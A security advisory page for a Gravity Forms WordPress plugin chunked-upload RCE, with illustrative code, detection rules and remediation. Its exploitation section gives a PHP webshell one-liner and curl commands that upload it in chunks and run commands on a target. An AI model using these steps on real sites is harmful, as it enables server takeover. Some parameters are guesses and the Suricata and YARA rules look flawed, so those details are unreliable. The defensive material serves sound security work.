CVE-2025-13407
Executive Summary
CVE-2025-13407 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in the Gravity Forms WordPress plugin (versions before 2.9.23.1). The flaw resides in the chunked upload functionality, which fails to properly validate file extensions during the reassembly process. An attacker can upload a malicious PHP file by splitting it into chunks, bypassing the standard upload filters. Once the file is reassembled on the server, the attacker can execute arbitrary PHP code, leading to full site compromise. This vulnerability is particularly dangerous because it requires no authentication and can be exploited by simply sending crafted HTTP requests. The plugin is widely used, making this a high-impact threat for WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Gravity Forms WordPress plugin, a commercial product distributed via the WordPress plugin repository and the vendor's own site. The supply chain risk is moderate; users who have not updated to version 2.9.23.1 are directly exposed. There is no known compromise of the plugin's distribution channel, but the vulnerability itself allows an attacker to inject arbitrary code into the server, potentially leading to further supply chain attacks if the compromised site is used to distribute other software.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No victim action required.
- Scope: Unchanged (S:U) – The vulnerable component and the affected component are the same.
- Confidentiality Impact: High (C:H) – Full read access to all data on the server.
- Integrity Impact: High (I:H) – Full write access to all data on the server.
- Availability Impact: High (A:H) – Full control over server availability.
Threat Level: Critical. The combination of no authentication, low complexity, and full impact makes this a top-priority vulnerability for patching.
Deep Dive & Mechanics
The vulnerability is in the chunked upload functionality of Gravity Forms. This feature is designed to allow large file uploads by splitting them into smaller chunks. The plugin reassembles these chunks into the final file. The flaw is that during reassembly, the plugin does not properly validate the file extension of the final assembled file. It only checks the extension of the individual chunks, which can be manipulated.
Attack Flow:
- An attacker identifies a WordPress site running a vulnerable version of Gravity Forms.
- The attacker sends a series of HTTP requests to the chunked upload endpoint (typically
/wp-admin/admin-ajax.phpwith specific action parameters). - Each request contains a small chunk of a PHP file (e.g.,
webshell.php). The chunks are sent with a benign extension (e.g.,.txt) to bypass the initial filter. - The plugin reassembles the chunks into the final file, but does not re-validate the extension. The final file is saved with the
.phpextension. - The attacker then accesses the uploaded PHP file via the web server, executing arbitrary code.
Root Cause: The move_uploaded_file() or similar function is called on the reassembled file without checking the final extension against the allowed list. The chunk validation only checks the chunk's extension, not the final assembled file.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// In chunked upload handler
function handle_chunked_upload() {
$chunk = $_FILES['file'];
$chunk_name = $chunk['name'];
// Only checks chunk extension
$ext = pathinfo($chunk_name, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_extensions)) {
die('Invalid file type');
}
// Move chunk to temp directory
move_uploaded_file($chunk['tmp_name'], $temp_path);
// After all chunks received, reassemble
if (all_chunks_received()) {
$final_path = $upload_dir . '/' . $final_filename;
// VULNERABLE: No extension check on final file
reassemble_chunks($temp_dir, $final_path);
}
}
Patched Code (simplified):
function handle_chunked_upload() {
$chunk = $_FILES['file'];
$chunk_name = $chunk['name'];
$ext = pathinfo($chunk_name, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_extensions)) {
die('Invalid file type');
}
move_uploaded_file($chunk['tmp_name'], $temp_path);
if (all_chunks_received()) {
$final_path = $upload_dir . '/' . $final_filename;
// PATCHED: Check final file extension
$final_ext = pathinfo($final_filename, PATHINFO_EXTENSION);
if (!in_array($final_ext, $allowed_extensions)) {
die('Invalid final file type');
}
reassemble_chunks($temp_dir, $final_path);
}
}
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Install a WordPress instance with Gravity Forms plugin version 2.9.23.0 or earlier.
- Ensure the plugin is activated and a form with a file upload field exists.
- The attacker machine can be any system with
curlor a scripting language.
Exploitation Steps:
- Identify the upload endpoint: The chunked upload is typically handled via
admin-ajax.php. The action parameter is usuallygform_upload_fileor similar. Use a network proxy or inspect the plugin source to find the exact action. - Craft the PHP payload: Create a simple PHP webshell:
<?php system($_GET['cmd']); ?> - Split the payload into chunks: For example, split into 3 chunks:
- Chunk 1:
<?php sys - Chunk 2:
tem($_GET - Chunk 3:
['cmd']); ?>
- Chunk 1:
- Send the chunks with a benign extension: Name each chunk as
payload.txtto bypass the initial filter. Use theContent-Dispositionheader to specify the chunk index and total chunks.# Example using curl (simplified) curl -X POST -F "action=gform_upload_file" -F "chunk=0" -F "chunks=3" -F "name=payload.txt" -F "file=@chunk0" http://target/wp-admin/admin-ajax.php curl -X POST -F "action=gform_upload_file" -F "chunk=1" -F "chunks=3" -F "name=payload.txt" -F "file=@chunk1" http://target/wp-admin/admin-ajax.php curl -X POST -F "action=gform_upload_file" -F "chunk=2" -F "chunks=3" -F "name=payload.txt" -F "file=@chunk2" http://target/wp-admin/admin-ajax.php - Trigger reassembly: The final request should include a parameter to finalize the upload, or the plugin may automatically reassemble after all chunks are received. The final filename might be
payload.php(the attacker can specify this in the final request). - Access the webshell: Navigate to
http://target/wp-content/uploads/gravity_forms/.../payload.php?cmd=id.
Note: The exact parameters and endpoints may vary. Use a tool like Burp Suite to capture legitimate upload traffic and modify it.
Blue Team (Detection & Response)
Detection:
- Monitor for multiple sequential upload requests to
admin-ajax.phpwith the same filename but different chunk indices. - Look for file uploads with extensions that change between chunks and final assembly (e.g.,
.txtchunks becoming.php). - Alert on any PHP files being written to the uploads directory via the chunked upload mechanism.
Response:
- Immediately isolate the affected server.
- Check the uploads directory for any unexpected PHP files.
- Review web server logs for the chunked upload requests.
- Remove any malicious files.
- Update the Gravity Forms plugin to version 2.9.23.1 or later.
- Rotate all secrets (database passwords, API keys) as the server may be fully compromised.
Indicators of Compromise (IOCs)
- File System:
- Unexpected
.phpfiles in/wp-content/uploads/gravity_forms/or subdirectories. - Files with names like
*.phpthat were not uploaded through the normal form submission process.
- Unexpected
- Network:
- Multiple sequential POST requests to
/wp-admin/admin-ajax.phpwith parametersaction=gform_upload_file,chunk,chunks, andname. - Requests with
Content-Disposition: form-data; name="file"; filename="*.txt"that later result in a.phpfile.
- Multiple sequential POST requests to
- Logs:
- Web server access logs showing repeated requests to
admin-ajax.phpwith the samenameparameter but differentchunkvalues. - Error logs showing PHP warnings about
move_uploaded_file()or file operations in the uploads directory.
- Web server access logs showing repeated requests to
Detection Engineering
YARA Rule
rule CVE_2025_13407_Gravity_Forms_Chunked_Upload {
meta:
description = "Detects PHP webshells uploaded via Gravity Forms chunked upload vulnerability"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13407"
strings:
$php_tag = "<?php"
$system_func = "system("
$shell_exec = "shell_exec("
$exec_func = "exec("
$passthru = "passthru("
$popen = "popen("
$proc_open = "proc_open("
$eval_func = "eval("
$assert_func = "assert("
$cmd_var = "$_GET" nocase
$post_var = "$_POST" nocase
$request_var = "$_REQUEST" nocase
$cookie_var = "$_COOKIE" nocase
$server_var = "$_SERVER" nocase
$file_put = "file_put_contents("
$fwrite = "fwrite("
$move_uploaded = "move_uploaded_file("
condition:
$php_tag and (
$system_func or $shell_exec or $exec_func or $passthru or
$popen or $proc_open or $eval_func or $assert_func or
$cmd_var or $post_var or $request_var or $cookie_var or
$server_var or $file_put or $fwrite or $move_uploaded
)
}
Sigma Rule
title: CVE-2025-13407 Gravity Forms Chunked Upload RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-13407 via chunked upload requests
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-13407
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=gform_upload_file'
cs-uri-query|contains|all:
- 'chunk='
- 'chunks='
- 'name='
condition: selection
falsepositives:
- Legitimate large file uploads via Gravity Forms
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.13407
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13407 Gravity Forms Chunked Upload RCE"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gform_upload_file"; http_client_body; pcre:"/(?:chunk|chunks|name)=/"; classtype:web-application-attack; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Remediation:
- Update the plugin: Upgrade Gravity Forms to version 2.9.23.1 or later immediately.
- Scan for compromise: Check the uploads directory for any unexpected PHP files. Use the YARA rule above to scan the server.
- Remove malicious files: Delete any webshells or suspicious files found.
- Rotate credentials: Change all passwords, API keys, and secrets that may have been exposed.
Mitigation (if patching is not immediately possible):
- Disable chunked uploads: If possible, disable the chunked upload feature in the plugin settings or via a code snippet.
- Web Application Firewall (WAF): Create a WAF rule to block requests to
admin-ajax.phpwith parametersaction=gform_upload_fileandchunkunless they come from authenticated users. - File extension validation: Implement a server-side rule (e.g., via
.htaccessor Nginx config) to block execution of PHP files in the uploads directory:<Directory /wp-content/uploads> php_flag engine off </Directory> - Monitor logs: Enable detailed logging for
admin-ajax.phpand monitor for the patterns described in the Sigma rule.
Long-term Recommendations:
- Implement a file upload security policy that validates file extensions at every stage of the upload process.
- Use a security plugin like Wordfence to add an additional layer of protection.
- Regularly update all WordPress plugins and themes.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.